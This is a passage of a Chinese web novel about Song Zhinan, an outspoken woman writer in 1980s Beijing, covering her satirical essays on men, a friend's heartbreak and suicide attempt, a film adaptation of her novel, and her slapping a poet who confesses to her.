你退一次婚,他记恨你一辈子。他衣锦还乡时,也不忘舞到你面前刷存在感。 再从生理角度来说。很多男人浑身都是敏感点,你一戳他,他就高、潮,你不戳他也自行高、潮。 你要是用棍子鞭子刀子把他浑身戳遍了,他能不飘飘欲仙、爽翻天吗? 爱他就虐他,往死里虐他。越虐他越兴奋。 那些追妻火葬场的女主角统统都搞反了。她们前期被虐得哭天抹泪、缺肝少肺,指望着后面男人悔不当初,痛哭流涕。 其实根本不用那么费劲,你直接杀了男人全家,把男的打残,保准他到死都记得你,保准他一想起你就红眼,恨你恨得咬牙切齿。老子说,反之道之动,事情一到极点就会往相反的方向发展。痛到极点就是爽,恨到极点就是爱。 当男人的白月光多费劲,又是长相又是气质的。成为黑月光和血月光,只需要靠武力就行了。 张小凤说得对,她这个发现真的能震惊学术界和伦理界。一篇杂文的灵感就这么来了。 宋知南转身回屋,坐在书桌前奋笔疾书。小要文跟小狗玩了一会儿,一转头看见南姨回屋写作业了。 她蹬蹬跑回家向李群英报告:“妈妈,南姨要给我改名叫不催,我没答应。” 李群英笑着夸道:“要文真聪明,妈妈下周日还带你去动物园看猴。你再想想,南姨还跟你说了什么?” 要文敲敲自己的小脑袋瓜,说道:“我跟南姨说妈妈又要文。南姨就坐在院子里叹气,看狗,看天。看了一会儿,她一下子跳起来回屋写作业去了。妈妈,你去告诉南姨,下周我们看猴也带着她,她就会好好写作业了。” 李群英笑道:“你南姨不喜欢猴子,咱不带她。” 要文有些不太理解,南姨怎么会不喜欢猴呢?明明上次她还当猴子了。 宋知南奋笔疾书,一气呵成,她修改誊抄完毕,就让宋冬宝给老周送过去。 他可别再来了,别哪句话说错了,又欠下一篇稿子。 老周一看稿子,不禁拍案叫绝。他赶紧拿到叫其他编辑一起欣赏。 别的人不像老周这么看好这篇文。 之前的实习编辑小刘已经转正了,他说道:“主编,我觉得宋老师这次的打击面太广了,上次她只是骂文艺青年,就引起那么大的震动。这次她是骂全体男人,这得引起多大的轰动?” 另一个编辑小孙说道:“这文章不能流传出去,你们都知道我妈我对象都有暴力倾向吧?她们经常说我是庙里的木鱼,欠敲欠捶。这文要是被她们看到了,她们就有了理论支持。” 也有人说:“我觉得这篇文章太片面,造成的社会影响也不好。” 老周试着抛开男人固有的局限视角,站在更高一层往下看。 “其实我觉得宋老师说得有道理。男人确实欠虐,我有一个朋友,他初恋把他甩了,二十多年过去了,他还一直耿耿于怀。他甩过的对象他压根就不记得了。为什么曹操会说出宁我负天下人,不教天下人负我?他负了天下人他都不记得,但谁负了他,他会记得清清楚楚。” 小刘和小孙一脸震惊:“不是,周主编,您也是男人呀。您怎么能不站在男人这边呢?” 老周淡淡说道:“我的文学导师周树人先生说过,真的猛士敢于直面血淋淋的真相;真的男人,根本不在乎任何女人的怒骂,因为他从不代入被骂的一方;真的杂文大家,别说是同性,就连自己都敢解剖敢骂。这篇文章必须要发,咱们的销量又要增加了。” 《男人为什么喜欢被虐?》这篇文章一发表出来,立即掀起了文化界的血雨腥风。 老学究们气得老脸通红,“信口雌黄,一派胡言。” 其他男作者也纷纷摇头:“太偏激了,太片面了,她怎么那么敢写啊。” 报纸上又开始了新一轮对宋知南的口诛笔伐。 宋冬宝看着报纸直皱眉头,这些报纸给不给姐姐看呢?姐气坏了怎么办?他恨自己文化水平太低了,要不然他也可以帮忙去骂。 宋冬宝正在发愁,宋知南喊他把报纸送过去。 宋冬宝只好抱着一叠报纸过去,他小心地劝道:“姐,你也别太生气,要不然,你把地址给我,我上门套麻袋把他们揍一顿。”这事他最在行。 宋知南笑着说道:“冬宝啊,这是在首都,你要讲文明要法律,不能随便打人。” 宋知南气定神闲地翻开报纸一看,猛地一拍大腿:“看,我说得对吧?这帮男人就是喜欢被虐,我一骂他们,他们就集体兴奋了。” 身体的sm是捆绑鞭打,精神上的sm不就是挨骂了吗?这些人都是抖m。 她说得完全没错啊。 灵感又来了,宋知南铺开稿纸就开写:“我在进行一项关于心理、伦理方面的研究,请大家不要抵触。 按照常理来说,身体和精神应该是统一的。也就是说,你喜欢精神上的虐,也就喜欢身体上的虐。 一听到女人的骂声就兴奋不已的男人,基本上可以断定他也喜欢身体上的捆绑鞭打。 各位男同胞们,你们跳得越高,越容易暴露你们自己内心的渴望。 我的小说是一面镜子,它会照出你是谁;我的杂文是一面魔镜,它会照出你心中的魔。谁代入得越投入,谁心中的魔就越大。” 第150章 不出意外, 宋知南的第二篇杂文再次掀起一场轩然大波。 这次,不但有人骂宋知南, 还有人写信骂杂志社,甚至威胁他们,如果以后再发表宋知南的文章,他们就取消订阅。 杂志社的编辑开始怕了,这可是关系到他们的饭碗。 大家一齐看向老周,老周考虑许久,做出一个艰难的决定:“我们是《杂文周刊》,主旨就是针砭时弊,抨击现实中的丑恶现象。我们有自己的风骨和坚持。如果个别读者一威胁,我们就妥协,我们本身就会成为笑话。不理他们, 爱订不订。他们不订, 有的是人订。” 小刘担忧地问道:“可是主编, 销量要是真的大幅下滑咱们该怎么办?” 老周干脆地说:“不怎么办,等真下滑了再说。” 杂志社除老周外, 其他编辑们全都忐忑不安地等着那个未知的结果。 等到最新一期杂志出来, 销量统计表一送上来,大家不由得一惊:销量不减反增,这是怎么回事? 老周也很意外,下班的时候,他顺便去附近的报刊亭实地查访。 这一看,他还真找出原因了。原来买他们杂志的女同志很多,他一问报刊亭的负责人, 她们也说确实如此。买书买杂志的顾客以女同志居多。这一期的《杂文周刊》卖得特别好,一摆上来就卖完了。 老周回去之后就把这个发现告诉大伙。 大家一起惊呼:“原来如此, 那我们就放心了。” 《杂文周刊》这下更有底气了,你威胁你的,我们刊登我们的。 宋知南还完老周和李群英的稿债后,准备休息几天再闭关写作。 闭关之前,她约了罗静林和格羽两个文友见个面。 宋知南把两人约到家里,同时也叫上了李群英,四个人围在一起吃火锅。 外面寒风呼啸,屋内温暖如春。大家有说有笑,气氛相当热闹。 宋知南打量了一眼格羽,见她一脸疲惫,就说道:“你最近写作这么用功?要注意身体啊。” 李群英不解地问道:“格羽你这么用功,怎么还拖我的稿?” 格羽支支吾吾,顾左右而言他。罗静林没忍住,在旁边说道:“她这么累不是因为写作用功,而是因为她那个诗人男朋友。” 接着,罗静林不满地吐槽道:“群英,诗人明河你也认得吧?他这人交游广阔,仗义疏财,家里时常高朋满座。只是这高朋总得有人招待吧?高朋散后,总得有人打扫收拾吧?你猜是谁在干些?” 大家一起看向格羽,格羽不自然地笑笑,为明河辩解:“他这人就是这样,朋友特别多。他还要思考写作,那些杂事琐事只能我干了。” 宋知南犀利地反问道:“他要思考写作,你不需要吗?他是诗人,你不是吗?” 格羽摇头,“不一样的,我在写作上的才华很有限,只是比一般文学爱好者的水平稍高些罢了。” 宋知南问:“这句话是谁说的?是那个明河说的?他们凭什么断定你才华有限?” 格羽说:“也不只是他,他的朋友们也这么说。他的朋友中有一个叫扶光的,是当代诗坛的代表人物。你听说过吧?” “我知道他,他的诗我也看过,水平一般。” 格羽惊讶道:“怎么会一般?评论家都说他的诗格局宏大,见解深刻,词句隽永。” 宋知南说:“我觉得你的词句更隽永,感情更细腻。你应该把精力放在自己身上。你的才华不应该耗费在那些琐碎的事上。” 罗静林平常跟格羽走得更近些,感情也更好,便顺着宋知南的话说:“格羽,南姐说得对,你应该把时间和精力花在自己身上。你忘了南姐的那篇《不要嫁给文学青年》了,你当时还拍案叫绝,说骂得好。结果一转头,你也去爱文学青年了。” 格羽像是被下了蛊似的,一个劲地为明河辩解:“不,明河跟那些人不一样。” 李群英恨铁不成钢地说道:“格羽,你醒醒吧。你那个男朋友的问题很大。你跟男人在一起应该是状态越来越好,而不是越来越差。” 格羽有点油盐不进,宋知南跟她交情一般,再说深了,就是交浅言深了,也只能点到为止。 格羽在这边吃饭,还惦记着明河一个人在家没人管,刚吃完饭,她就匆匆告辞离开。 她一离开,李群英就忍不住扶额叹息:“你们说她平常挺聪明灵透的一个姑娘,怎么一遇到感情的事就糊涂了呢?” 罗静林面带忧色:“连南姐都劝不醒她,我也没办法了。” 宋知南安慰她:“没事,可能是她命中注定有此一劫,过完这关就好了。” 情关是很多女人的一大关卡,有些人必须要亲自过一次,才能汲取教训。也有的人需要过好几次,你拦也拦不住。 罗静林愤愤不平地说:“那个明河明明各方面都挺一般,但崇拜他的女孩还挺多。格羽说她觉得压力很大,生怕别人把明河抢走了,她没有安全感,就拼命地对明河好。” 李群英说:“都别说那个明河了,就连张玉冰那种长相的人都有很多女孩喜欢他崇拜他。明明咱们南姐的名声和才华比那些男作者强一百倍,怎么就没男的崇拜她呢?” 宋知南对此看得挺开:“很多男人,连女人有才华这个事实都不愿意承认,你还让他们崇拜?他们只会崇拜同性,对于女人,他们只想征服和占有。 张爱玲说过:‘很多男人碰到有才华的女人,总想睡了她,而不是欣赏崇拜她的才华。’ 因为才华而被爱,那是男人的特权。我们女人在相当长的时间内都不可能拥有。残疾的男作家能遇到真爱,残疾的女作家却会遭到家暴。 更何况,还有更恶心的,比如说一个男人睡了一个女人后,不管他在身份阶层和才华上比女人低多少,他会觉得通过这一睡,自己就可以和她平和平坐甚至地位高于她。甚至还想在精神上指导她。 男人觉得占有了女人的身体,就理所应当地占领了女人的精神。你们说这有多可怕?” 宋知南的这番话把罗静林和李群英都给整自闭了。这真是一个荒谬的世界。 宋知南笑着举杯:“都别沮丧啊,多大点事儿。男人的爱是多稀罕的东西吗?” 聚会结束的第二天,格羽给宋知南打来电话,小心翼翼地问她能不能给明河的诗集写篇序言。 宋知南明确拒绝:“格羽,如果是你的诗集要出版,我可以帮这个忙。但明河不可以,我跟他不熟,我也不喜欢他的诗歌。 而且,我认为,天道能量守恒,凡是扶持男人事业的,一般都会被反噬。本来老天爷没给他好日子过,你硬要扶持他,相当于逆天而行。你最后有可能会被上天惩罚。” 格羽第一次听到这番言论,她沉默了一会儿,说道:“好的南姐,我明白你的意思了。” 宋知南决定不再劝她了,格羽也二十多岁了,还是个诗人,该有的智商和判断力她都有,如果她执意如此,别说一个文友,连她亲妈都拉不住。 她愿意支持引导别人,但也不愿意过度干涉别人的因果,尤其是男女感情这一块,情况更复杂。她只能尊重并祝福。 过了两天,红都电影制片厂的于红林第二次登门拜访,于红林今年25岁,北影导演系毕业,她跟胡导不一样,态度谦虚而诚恳。 “宋老师,您的作品我全部读过,给我最大触动的就是《他的家,她的冢》。不夸张地说,那篇小说给了我当头一棒,它让我接受了我父母并不特别爱我的真相。奇怪的是,我接受了反而平静了。” 宋知南面带微笑听着,时不时接上一句。 于红林接着说道:“不过我觉得最适合改编成电影的还是《女人的风格》,这篇小说女主角性格鲜明独特,矛盾冲突多,戏剧性强,台词对白很有张力,语言幽默犀利。我觉得不用大力改编,只要尊重原著,不乱改,拍出来的电影效果肯定不错。” 宋知南点头:“看来你是真的理解了我的作品。” 两人聊了半小时的文学和电影。宋知南确认这个于红林跟胡导不一样,她懂电影,也懂点文学。 于红林见气氛烘托得差不多了,就有些为难地报了价:“宋老师,以您在业内的名气和地位,我们理应给出更高的报价。只是,我们红都电影厂是个小厂,经费不足,我们只能给您1500元的改编费,我们想跟您再签一份电影票房分红的合同。” 接下来,两人就分红比例进行谈判,经过一番拉扯,最终确定了10%这个分红比例。 宋知南在跟红都电影厂签订正式合同以后,又赶了几篇稿子,分别给李群英和老周,同时告诉他们,自己要闭关写作大长篇。 老周听罢虽然遗憾没法约稿,但也祝福支持:“行,你好好写吧,这段时间我就不打扰你了,你出关时记得告诉我。” 李群英雀跃地说:“我亲爱的宋老师,你一定要把这个长篇放到我们杂志首发。” 宋知南没把话说死:“等我写出来再说吧。” 宋知南想写一部大部头小说,以青阳市为主要背景,将女主角的个人成长与时代发展相结合,时间跨度将近30年,人物众多,尤其是女性角色众多,预计要写一百万字。 名字就暂定为《青阳往事》,以后想到合适的名字再改。 宋知南写的最长的小说也就十几万字,这部大部头让人感觉颇为吃力。那么繁杂的原料,如何取舍裁剪是个难事;那么多的人物,既要生动形象又要有代表性还不能重复,更是个难事。 最关键的是写的过程中,她一会儿觉得自己的储备还不够,一会儿对自己的文笔不满意了。她脑中的剧情明明精彩纷呈,怎么一落到纸上就那么平淡无味呢?她胸中明明气象万千,但怎么就无法彻底表达呢? 宋知南写着写着就忍不住抓自己头发,把头发抓成了鸟窝状,有时还在屋里来回踱步,嘴里念念有词。有时她还会扮演文里的角色,自己跟自己吵架。 宋冬宝看着一向潇洒随意、气定神闲的姐姐变成这般模样,不由得摇头叹息:“写作这行太难了。”连姐姐那么心态平和的人都快被逼疯了。 还是他的工作好,不用那么费脑,天天吃吃喝喝,跑跑跳跳。 要文来玩的时候也看到了这心酸的一幕,回到家里,她认真地说道:“妈妈,我长大了不想像南姨那样天天关屋里写作业,连猴都看不了。” 李群英耐心地问:“你长大了想干什么呢?” 要文说:“我早上起来就去动物园看猴看老虎,中午就去莫莫吃饭,晚上回来就催别人写作业。” 反正不能自己写。前院的哥哥姐姐说,写作业太不好玩了。 李群英估计宋知南的大长篇进展得应该不顺,她也没去打扰,只是贴心地送过去一锅炖肉,好好给她补补吧。 宋知南是冬天开始闭关的,出关时,已经是春天了。此时首都又开始经常刮大风,柳絮满天飞。 宋知南应邀去参加茅盾文学奖颁奖典礼,宋冬宝一听说地点在人民大会堂,激动得都没睡好。 这次颁奖典礼办得相当隆重正式,可能是太过隆重的缘故,连记者的提问都显得很正式,再加上有其他五位获奖者一起分担记者的火力。宋知南这次罕见地没有怼天怼地。大会在一派和谐的氛围中圆满结束。 宋知南没有接受记者的采访,跟宋冬宝李群英两人吃了顿饭,回家继续闭关写作。 《青阳往事》她写烦了,重开了新文《独身女人》,这篇倒写得很顺滑。 宋知南第二次出关时,已经是84年年初了。 《青阳往事》第一卷第二卷共60万字初稿完成,《独身女人》、《满天灰尘》的最终修订稿完稿。另外,还有十来篇杂文,都是宋知南写作不顺时为了发泄心情顺手写的。 李群英和老周是喜出望外,天知道,他们收到很多读者来信询问宋知南为什么不写了?是不是被领导叫去谈话了?或是被杂志社封杀了? 宋知南出关后,打算好好放松一下。她还没想好怎么放松呢,罗静林打来电话带着哭腔恳求道:“南姐,明河那个王八蛋抛弃了格羽,格羽受的打击很大,已经割过一次腕了,我现在日夜守着她,生怕她再想不开。你能过来劝劝她吗?” 宋知南骂道:“为了一个破男的去死,这家伙脑子有病吧?你等着,我马上过去骂她。” 宋知南风风火火地到隔壁去叫李群英:“走,跟我到格羽那儿。” 李群英也接到了罗静林的求助,两人骑上自行车匆匆赶过去。 时隔一年,宋知南再见到格羽,不由得吃了一惊。以前的格羽充满活力,气质灵动。 现在倒好,脸色蜡黄,头发油腻,眼神空洞,整个人半死不活的。 宋知南先是恨铁不成钢,接着是气不打一处来。 她连安慰都省了,直接开骂:“格羽,你竟然为了一个破男人把自己弄成这副鬼样子,还要为了他去死?他配吗?你他大爷的真给咱们女作家丢人。” 宋知南开骂时,明河的那帮哥们和朋友也来了,他们也是来劝格羽的,至于明河本人始终没露面,朋友也联系不上他。 宋知南鄙夷地看了这群人一眼,招呼都懒得打,她继续骂格羽,顺便把明河也给骂了。 “我们女人可以为正义而死,为自由而死,可以因为打架斗殴而死,甚至懒死撑死都可以。但绝对不可以为了一个自恋虚伪无能平庸的懦夫而死,这是我们女人的底线。 我来猜测一下你死后的情形:你那个男人明河在你死后会象征性的深情一几天,哀悼一下,然后再借机颓废一下。 不到一个月,他身边就会有新的女人。他还利用你为他自己打造一个深情人设,用来勾、引跟你一样的无脑女青年。 他一边假装怀念着你一边跟别的女人或男人睡觉,大睡特睡,睡得浑身都是病。” 明河的朋友面面相觑,无言以对。有人想开口反驳,嘴巴张了几下又闭上了。 宋知南喝口水,歇口气,再接着说道:“他跟别的男人喝酒时也会偶尔提起你,每每提起你时,他的心里都充斥着一丝诡异的自豪和骄傲:曾经有一个女诗人为我而死,我好厉害我好有魅力。 格羽,你听清楚没有?对于你的死,你的爸妈会悲痛欲绝,你的朋友会惋惜伤心,你的读者会欷歔感慨,但你的男人不会伤心难过,你只会成为他的勋章和谈资。你活着时,他辜负你伤害你,你死后他消耗你利用你。 你好好想一想,值得吗?他配吗?你的脑子到底长哪儿去了? 这是我最后一次劝你,你爱听不听。你不听,我现在就跟你绝交,你的遗嘱里别写我,我没你这么个朋友。 想我宋知南一生铁骨铮铮,睥睨众生,辣嘴怼男,辣手摧男,骂遍文坛,以后的文学史上绝对有我一席之地,我不能有你这么一个脑子不好的朋友。我丢不起那人。别人会怀疑我的智商和影响力。再见,格羽。如果你还是想死,我建议你把那个明河一起带走。” 150-156 第151章 格羽缓缓抬起头, 空洞无神的眼睛时慢慢蓄满了泪水,她抱着宋知南哇地一声哭了:“南姐, 你别走。” 罗静林手忙脚乱地给格羽递纸巾,李群英说:“大声地哭吧,哭出来也是一种发泄。” 格羽先是嚎啕大哭,接着是低声啜泣,一边哭一边说:“我到底哪里不好,他要这样对我?我为他洗衣做饭,为他整理文稿,他跟朋友喝酒到三更半夜,我就在旁边一直陪着给他们热饭热菜。他的钱不够用,我补贴他。为了不伤害他的自尊心,我甚至偷偷地把钱放到他的钱包里, 让他以为那是他自己的钱。可是他最后却抛弃了我, 他说我让他窒息, 让他失去了自由,说我扼杀了他的灵感……” 罗静林好声安慰道:“这不是你的错, 是明河这个人有问题。这人极度自私不负责任, 冷漠无情。” 李群英也在一旁劝。 格羽的情绪渐渐平静下来,明河的那帮朋友也进来泛泛安慰几句。 这些朋友中,有一个就是格羽说的诗坛领军人物扶光,扶光30岁左右,一头略显油腻的长发,长相中等不偏上,因为他总想极力表现自己的不俗, 反而显得更俗。 他站在这帮丑得千奇百怪的同行中,宛如电灯泡混在昏黄的煤油灯中, 只是刺眼而不夺目。 扶光捋了一下额前的头发,向宋知南伸出手:“你好,我是扶光。你的漂亮超出我的预期,你的身上有一种残酷的美感。” 宋知南态度冷淡:“留长发的人应该有个常识,那就是要经常洗头,你太油腻了。” 扶光尴尬地笑笑,他的那帮朋友发出压抑的笑声。 宋知南见格羽情绪稳定下来了,就让罗静林去客房睡一会儿,她熬得眼睛里尽是红血丝。 罗静林摇头:“没事,我撑得住。我的情绪大起大落的,现在也睡不着。” 李群英对扶光等人说:“格羽的情绪已经平静下来了,你们都回去吧。如果见到明河请告诉他,让他做个人吧,遇事别躲着,出来面对。” 李群英对这个很不齿,你要分手就坦坦荡荡地把事情说明白,该安抚的安抚,该补偿的补偿。哪能像他这样,直接人间蒸发不见人影。 宋知南接道:“你们转告明河,与其装死,还不如真死。反正他活着也是浪费粮食污染空气。” 扶光专注地看着宋知南,眼中带着笑意,“好的,宋老师,我会把你的口谕转达给明河。” 格羽哭累了,沉沉地睡了过去。 罗静林说:“李姐,南姐,你们也回去吧。我一个人留在这儿就行。她两天两夜没合眼了,这一睡也不知什么时候醒。” 宋知南说:“我觉得她应该不会再想不开了,你也赶紧补补觉吧。格羽有你这个朋友,真是三生有幸。对了,格羽的家人呢?” 罗静林叹了口气:“格羽的父亲在大运动中自杀了,母亲不久也病逝了,她是亲戚养大的。所以她特别渴望有一个家。没想到又遇到明河那个混蛋。” “等她醒了再联系我们吧。” 宋知南在路上说:“他大爷的,我回去写篇文章好好地骂一骂明河,什么玩意儿。” 李群英说:“你刚才骂他骂得已经够狠了。” 当天晚上,罗静林过来给宋知南送来一张便签,是格羽留下来的:“南姐,谢谢你,你骂我时,就像我的亲姐姐一样。我好渴望能有这么一个姐姐。对不起,我给你们添麻烦了。你放心,我真的清醒了,不会再想不开了。只是我的伤口需要时间疗愈,我跟文化馆请了假,回家给我父母扫墓。等我回来,咱们再聚。” “也行,她出去走走也好。” 宋知南骂格羽和扶光,又赚了2千多杠精值。 这些年她积攒了这么多杠精值,也该到了他们发挥作用的时候。系统商城里的东西又便宜质量又好,完全可以用杠精值兑换出来卖。 这两年,市场经济已经渐渐活跃起来,有些返城的知青长时间待业,生活无着,无奈只能摆起了小摊,当起了个体户。 不过很多人仍对个体户心存偏见,觉得上不了台面。 宋知南回去告诉宋冬宝,她有个朋友经常去南方倒腾小商品回来卖,她也顺便拿了一些。让他有时间就去外面摆摊卖,赚的钱,二八分,她八宋冬宝二。 宋冬宝不在乎体面不体面的,爽快地答应。 宋知南先花了一百个杠精值,从系统商城兑换了丝巾、发卡、打火机、墨镜、内衣、袜子等各式小商品,先让宋冬宝去秀水街试试水,听说那里有不少摆摊的。 也不知道现在有没有城管,她嘱咐道:“你先去试试,机灵点,看到不对,拎着东西就跑。” 宋冬宝说:“放心吧姐,我跑得快。” 宋冬宝第二天,天不亮就出门去了。天黑了才鬼鬼祟祟地回来。 他一进来先把院门给插上了,抱着鼓囊囊的皮包往桌上一倒:“姐,我这是我今天卖的钱,我都没敢数,快,一起数。” 两人先一起数钱,一共是167块五。 宋冬宝笑是见牙不见眼,“姐,你不知道咱的东西有多受欢迎,好家伙,大家一涌而上抢着买。还有人找我打听从哪儿拿的货,我说这是秘密,可不能告诉他。” 宋知南把钱分成两堆,小堆推给宋冬宝。 “说好的二八分,除去成本,我赚得跟你差不多。” 她拿货时,根据现在的物价大致估算了一下,大差不差。宋冬宝现在也没胆量敢骗她,经过特殊培训的人合作起来就是方便,也不用试探和磨合了。 “谢谢姐,那我就收下了,嘿嘿。” 一天就能赚三十多,一个月的工资,说起来谁信啊。 “你过段时间就换个地方摆摊,咱们每天赚个一百来块就行,细水长流。” “行行,我已经非常满足了。” 宋知南晚饭后出去溜达一圈,回来又拎着个包袱交给宋冬宝。 第二天,宋冬宝去摆摊。宋知南下馆子逛书店看电影。 她的《独身女人》和《满天灰尘》已经交稿了。《青阳往事》还需要大力修改。在大修之前,她得充充电,好好修整修整。 《燕京文艺》长篇专号开始刊登宋知南的《独身女人》第一期,令编辑部意外地是,这篇小说并没有像前几部那样引起众人的热议和追捧。 吴云河百思不得其解,便开会讨论这个问题。 大家找来找去也找不到原因。 要说宋知南的写作水平下降,根本没有的事。事实上,她这篇小说无论是文笔还是技巧上都更加成熟。 那到底是为什么呢? 最后是宋知南自己找到了原因,“可能是没赶上这一波流行趋势。” 1981年琼瑶的作品第一次进入大陆,在福建《海峡》杂志上刊登她的小说《人在天涯》。83年,她的长篇小说《我是一片云》又在《海峡》连载。在内地掀起了一阵琼瑶热。 差不多同一时间,金庸古龙的作品也开始进入内地读者的视野。 此时,国人的思想刚解禁不久,爱情还是人们追求自由的一种方式。宋知南这篇小说有点跟流行对着干了。 不过,她不遗憾也不失落。一个作家最重要的是真诚。她只能写她此时此刻相信的东西。不能为了迁就市场,去写她不相信的东西。火是意外,不火是正常。 宋知南安慰众人:“我篇小说并非没有读者,只是没有以前的热度罢了。一个作家,不可能每一部作品都大火。” 钱梦秋点头:“宋老师说得对,不可能每一部都大火的。咱们都得有一个心理预期。” 宋知南以平常心看待这件事,那些评论家却集体兴奋了。 宋知南不火了?太好了。终于等到这一天了。 他们像豺狗似的涌上来汪汪大叫,大肆嘲讽宋知南要过气了。 宋知南立即回骂一篇《蜀犬吠日——少见多怪》。 只是这帮人的兴奋劲很快就过去了。因为由宋知南小说改编的电影《女人的风格》上映了。这是一部小成本电影,演员是新人,导演也没什么名气,本来电影厂不抱太多希望。电影放映后,毁誉参半,有人喜欢,有人骂,但骂也挡不住人们去看。他们越骂,观众就越好奇,非要去看个究竟。 电影院放了一场又一场,循环播放。 首映那天,宋知南就带着李群英一家和宋冬宝罗静林去看了。电影十分忠于原著,女主角长得不是特别漂亮,但非常有生命力。骂起人来那叫一个中气十足,气壮山河。 很多骂人的话都成了当时的流行语。 “我一生傲骨,从不认输。” “如果一定有人要吃亏,为什么不能是你?” “什么,你要我优雅文静?你大爷的,我都要被你们吃掉了,你还要我优雅?我希望你被抢时被宰时你也能优雅。” “我反省过了,都是你们的问题。” …… 红都电影场对于这次的尝试非常惊喜,赶紧又来买宋知南其他小说的版权。 宋知南在合同中加了一条,电影厂买下版权后,两年必须得拍,三年后得上映。如果一直拖着不拍,她就要收回版权。 当然,那条不得魔改主线剧情和女主角性格人设以及不得随意添加男主角也都在写了合同里面,任何口头承诺都不作数,白纸黑字才能做为证据。 各大电影院还在循环播放,票房一路飙升。评论家先是哑火,接着他们又开始写影评骂电影。 宋知南最近要配合电影厂的一些宣发,偶尔会参加一些聚会和记者招待会。 世界很大,有时也挺小。 她有时会遇见明河的那帮朋友,明河本人已经跑到南方去了。他说他要呼吸自由的空气,两个热爱文学青年的女孩也跟着他一起去了。 宋知南断言:“这个明河最后一定会得花柳病。” 宋知南在这种场合中自然也见到了扶光。他的头发不油腻了,但由于总想不俗还是那么庸俗。 他所到之处,比明河还受欢迎。男青年羡慕他,女青年爱慕他。 扶光不满意,因为竟然还有女人不爱慕他,这人就是宋知南。 宋知南一直无视他,偶尔会怼他。 但越是如此,扶光就越渴望得到宋知南的关注。 终于,在一次作家聚会结束后,扶着借着酒意大胆向宋知南表白心意:“第一次见面时,我就预感到咱们之间一定会发生点什么故事。我的预感应验了,我深深地坠入了爱河,为你。” 宋知南冷冷地说道:“根据我的经验,这对你来说一定是事故。” 说着,她扬起巴掌,用力扇过去,啪地一声脆响。 扶光怔住了,随后而来的围观群众也愣住了。 宋知南面带微笑,对扶光说道:“我的预感也应验了,你就说是不是事故吧?记住了,以后见到我,别跟我说话,别对我产生妄想,我是个特别讲究的人,我不允许自己的历史有一点关于男人的污点。别人可以骂我狠骂我毒,但绝不能骂我眼瞎品味差。”宋知南说完飘然而去。 她没飘多久,就被一群记者们给堵住了。 “宋老师,有人说您打了扶光老师,这是谣言还是事实?” 宋知南坦然承认:“这是个事实,因为扶光值得被打。他语言骚扰我。” “那不是表白心意吗?” 宋知南:“那我把这份表白送给你,祝你们长长久久,成为最幸福的狗。” 记者:“……” 有个女记者硬挤进来,问道:“宋老师,您今天是喝醉了吗?” 其他记者一听说宋知南喝醉了,一个个眼里都闪着光。 喝醉了多,喝醉了会胡说八道,爆出的新闻更多。 “宋老师,你们文化圈都在传,扶光老师曾在公开场合表示他被您征服了。您对此怎么看?会不会对自己的魅力更加自信?” 宋知南拨开记者,大步往前走,一边走一边说:“我征服他?你扯淡吧?他一个普普通通、自恋自大、肤浅庸俗的男人有什么可征服的? 征服他就相当于人类一不小心踏进了狗窝踩到了狗屎,不但没有一点成就感。相反,还有一种说不出口的羞耻感,觉得自己真倒霉,为什么就踩到了狗屎呢?” 宋知南此话一出,男记者震惊,女记者沉思。 第152章 次日, 报纸上出现醒目的大标题:《某女作家公然打人》、《大诗人示爱被扇耳光》。 也有记者替宋知南说话《被不喜欢的人表白其实是一种骚扰》。 宋冬宝抱着一摞报纸进来,“姐, 你咋又被骂了?下回你想打人就叫我,你别再亲自动手了,你如今身份不一样了。” 宋知南端详着自己的右手掌:“我的手掌已经好久没扇过人了。它天天写字很辛苦,偶尔也需要运动一下。” 宋冬宝:“……” 一丝淡淡的凉意爬上他的脖子,屋里又进风了,首都的风就是大。 吴云河总编眼看着事情越闹越大,亲自上门劝说宋知南,他的话说得相当委婉:“宋老师,我不是要批评你,我只是担心,这种事会对你的形象有负面影响。” 宋知南笑吟吟地看着吴云河:“吴总编, 看来你还是不太了解我。我是第一次打人吗?显然不是。我只是在首都第一次打人罢了。至于形象, 不会有负面影响的, 因为我是板砖型作家,文武双全, 我不但会骂人, 也略懂些手脚。以后大家习惯了就好了。” 那些塌房的都是有房子的,像她,直接就坐在地上,还怎么塌? 吴云河默然片刻,只好说道:“那行吧。” 被扇耳光的扶光回去写了一首诗:“我坠入汹涌的爱河,我的洛神向我伸出手,我化成一条鱼, 向她游去。啪地一声脆响,她将我扇回了河岸。我痛醒了, 我还是一条鱼,永远留在了岸上。” 这首拙劣得让人直皱眉头的诗,竟然得到很多人的吹捧。这帮读者都没吃过细糠吗? 很多男读者同情扶光,女读者心疼扶光。他们一起骂宋知南狠心绝情。 宋知南铺开稿纸准备骂人。 宋冬宝进来说:“姐,有个《青年报》的女记者想要采访你,我按你吩咐的,说你现在不想接受任何记者采访。她说她跟你有渊源,她外婆家也是青阳的,她姨妈叫白薇,她叫白衣。” 白薇?她是有个姐姐在首都,好像是叫白术? 没想到,她的孩子都这么大了。 宋知南考虑片刻,说道:“让她进来吧。” 白衣被宋冬宝领进来,她二十三四岁,一头利落的短发,目光锐利。 她一进来就坦率地说道:“宋老师,我早就听我姨妈提起过你,听说你来首都后,我想来拜访,但又觉得太冒昧。” 宋知南态度很客气:“你请坐,白薇现在怎么样了?” “她挺好的。” 宋知南提起白薇,又不由自主地想起她母亲陆淑芬,想起她的死,心里还是忍不住的难过。 “对于你外祖母的死,我的心头一直存在着遗憾,她本不该如此。” 白衣低声说道:“她本不该如此,我外公和大舅舅也本不该如此。变故没发生之前,我们一大家人其乐融融。外公和舅舅的死、白继业的背叛彻底击垮了外婆,我们这个大家庭也随之散了。我妈说,这是那个时代的错误,那个时代落下的碎石刚好砸在了我们身上,我们避无可避,只能咬紧牙关硬生生地承受着,很多人也跟我们一样。死去的人已经去了,我们活着的人只能带着伤往前走。” 两人聊了一会儿往事,白衣说起今天来的目的。“宋老师,那天在酒店我就想采访您,可是没能挤过那些男记者,今日只好冒昧登门拜访。我想对您进行一个深度采访,您看可以吗?” “可以。” “那太好了,我们开始采访吧。——对了,您有什么不喜欢被问的问题吗?” “请别问我关于男女之情的问题,我最爱的是我自己,其余谁都不爱。我也不想跟任何男人扯上绯闻,他们都不配。” 白衣笑了笑,便以作品为切入点提问:“有人说《女人的风格》女主角唐知北作为反面女配很合格很出彩,但不应该作为正面人物来写,这是对公序良俗的一种挑战,让广大读者很不舒服。同时,也给很多女孩树立了不好的榜样。您对此有什么想说的?” 宋知南笑着反问:“那些人想要的榜样是什么样的呢?” “是女革命家那种的?还有贤妻良母,比如孟母岳母芸娘这种的?” 宋知南接着问:“孟母岳母的本名叫什么?” 白衣被问住了,摇头:“我还真不知道,史书上也没有记载。” 